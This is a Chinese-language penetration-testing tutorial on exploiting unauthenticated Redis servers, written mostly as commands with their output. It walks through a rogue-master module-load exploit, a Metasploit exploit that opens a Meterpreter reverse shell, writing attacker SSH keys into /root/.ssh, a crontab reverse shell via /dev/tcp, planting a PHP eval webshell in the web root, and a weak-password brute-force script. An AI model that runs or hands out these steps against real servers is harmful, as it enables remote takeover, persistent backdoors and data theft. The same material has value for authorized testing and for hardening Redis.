REmote DIctionary Server(Redis) 是一个开源的Key-Value数据存储系统,使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型,并提供多种语言的API。
信息收集
sudo nmap -sV -Pn -T4 -sSU -p 6379,26379 -sC 192.168.79.207
Host is up (0.00014s latency).
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.14
26379/tcp closed unknown
6379/udp closed unknown
26379/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 6.53 seconds
Redis未授权访问
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
redis-rogue-getshell复现
./redis-master.py -r 192.168.79.207 -p 6379 -L 10.211.55.13 -P 4444 -f RedisModulesSDK/exp.so -c "id"
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$12\r\n10.211.55.13\r\n$4\r\n4444\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'PING\r\n'
>> receive data: b'REPLCONF listening-port 6379\r\n'
>> receive data: b'REPLCONF capa eof capa psync2\r\n'
>> receive data: b'PSYNC 971afdf273239115adec6f02cc8f8b85a90c25bd 1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$2\r\nid\r\n'
>> receive data: b'$49\r\neuid=999(redis) gid=999(redis) groups=999(redis)\n\r\n'
euid=999(redis) gid=999(redis) groups=999(redis)
>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
>> receive data: b'+OK\r\n'
MSF相关模块
scanner/redis/redis_server
msf6 auxiliary(scanner/redis/redis_server) > options
Module options (auxiliary/scanner/redis/redis_server):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND INFO yes The Redis command to run
PASSWORD foobared no Redis password for authentication test
RHOSTS 192.168.79.207 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6379 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/redis/redis_server) > run
[+] 192.168.79.207:6379 - Found redis with INFO command: $2701\x0d\x0a# Server\x0d\x0aredis_version:4.0.14\x0d\x0aredis_git_sha1:00000000\x0d\x0aredis_git_dirty:0\x0d\x0aredis_build_id:3914f9509eb3b682\x0d\x0aredis_mode:standalone\x0d\x0aos:Linux 5.4.39-linuxkit x86_64\x0d\x0aarch_bits:64\x0d\x0amultiplexing_api:epoll\x0d\x0aatomicvar_api:atomic-builtin\x0d\x0agcc_version:6.3.0\x0d\x0aprocess_id:1\x0d\x0arun_id:dffdc0223004bf2ccbcb29dd56d35a30c9645059\x0d\x0atcp_port:6379\x0d\x0auptime_in_seconds:1612\x0d\x0auptime_in_days:0\x0d\x0ahz:10\x0d\x0alru_clock:13240592\x0d\x0aexecutable:/data/redis-server\x0d\x0aconfig_file:\x0d\x0a\x0d\x0a# Clients\x0d\x0aconnected_clients:1\x0d\x0aclient_longest_output_list:0\x0d\x0aclient_biggest_input_buf:0\x0d\x0ablocked_clients:0\x0d\x0a\x0d\x0a# Memory\x0d\x0aused_memory:849288\x0d\x0aused_memory_human:829.38K\x0d\x0aused_memory_rss:4186112\x0d\x0aused_memory_rss_human:3.99M\x0d\x0aused_memory_peak:869304\x0d\x0aused_memory_peak_human:848.93K\x0d\x0aused_memory_peak_perc:97.70%\x0d\x0aused_memory_overhead:836126\x0d\x0aused_memory_startup:786488\x0d\x0aused_memory_dataset:13162\x0d\x0aused_memory_dataset_perc:20.96%\x0d\x0atotal_system_memory:2083606528\x0d\x0atotal_system_memory_human:1.94G\x0d\x0aused_memory_lua:37888\x0d\x0aused_memory_lua_human:37.00K\x0d\x0amaxmemory:0\x0d\x0amaxmemory_human:0B\x0d\x0amaxmemory_policy:noeviction\x0d\x0amem_fragmentation_ratio:4.93\x0d\x0amem_allocator:jemalloc-4.0.3\x0d\x0aactive_defrag_running:0\x0d\x0alazyfree_pending_objects:0\x0d\x0a\x0d\x0a# CPU\x0d\x0aused_cpu_sys:2.00\x0d\x0aused_cpu_user:0.80\x0d\x0aused_cpu_sys_children:0.09\x0d\x0aused_cpu_user_children:0.00\x0d\x0a\x0d\x0a# Cluster\x0d\x0acluster_enabled:0\x0d\x0a\x0d\x0a# Keyspace
[*] 192.168.79.207:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
linux/redis/redis_replication_cmd_exec
msf6 exploit(linux/redis/redis_replication_cmd_exec) > options
Module options (exploit/linux/redis/redis_replication_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM true yes Whether compile payload file during exploiting
PASSWORD foobared no Redis password for authentication test
RHOSTS 192.168.79.207 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6379 yes The target port (TCP)
SRVHOST 10.211.55.13 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 6379 yes The local port to listen on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.211.55.13 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
msf6 exploit(linux/redis/redis_replication_cmd_exec) > run
[*] Started reverse TCP handler on 10.211.55.13:4444
[*] 192.168.79.207:6379 - Compile redis module extension file
[+] 192.168.79.207:6379 - Payload generated successfully!
[*] 192.168.79.207:6379 - Listening on 10.211.55.13:6379
[*] 192.168.79.207:6379 - Rogue server close...
[*] 192.168.79.207:6379 - Sending command to trigger payload.
[*] Sending stage (3008420 bytes) to 10.211.55.2
[*] Meterpreter session 1 opened (10.211.55.13:4444 -> 10.211.55.2:59293) at 2020-12-04 04:56:34 -0500
[!] 192.168.79.207:6379 - This exploit may require manual cleanup of './wjkka.so' on the target
meterpreter >
利用ssh公钥登陆Redis服务器
在本地生成公私钥文件
ssh-keygen -t rsa
将公钥写入foo.txt文件
(echo -e "
"; cat /root/.ssh/id_rsa.pub; echo -e "
") > foo.txt
将公钥写入redis服务器
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
登陆Redis服务器
ssh -i id_rsa root@192.168.1.11
利用crontab反弹shell
redis-cli -h 192.168.0.104
set xxx "
*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1
"
config set dir /var/spool/cron
config set dbfilename root
save
利用Redis写入webshell
生成webshell.php脚本
<?php
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST["pass"]);?>');
exit();
?>
将webshell.php前后空2行
( echo -e "
"; cat webshell.php ; echo -e "
") > webshell.txt
将webshell文件写入redis服务器中
$ cat webshell.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /var/www/html/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/var/www/html/"
$ 192.168.1.11:6379> config set dbfilename "webshell.php"
OK
$ 192.168.1.11:6379> save
OK
使用behind/antsword等客户端连接
测试是否存在未授权或弱口令的小脚本
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO
")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s
" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 askding@qq.com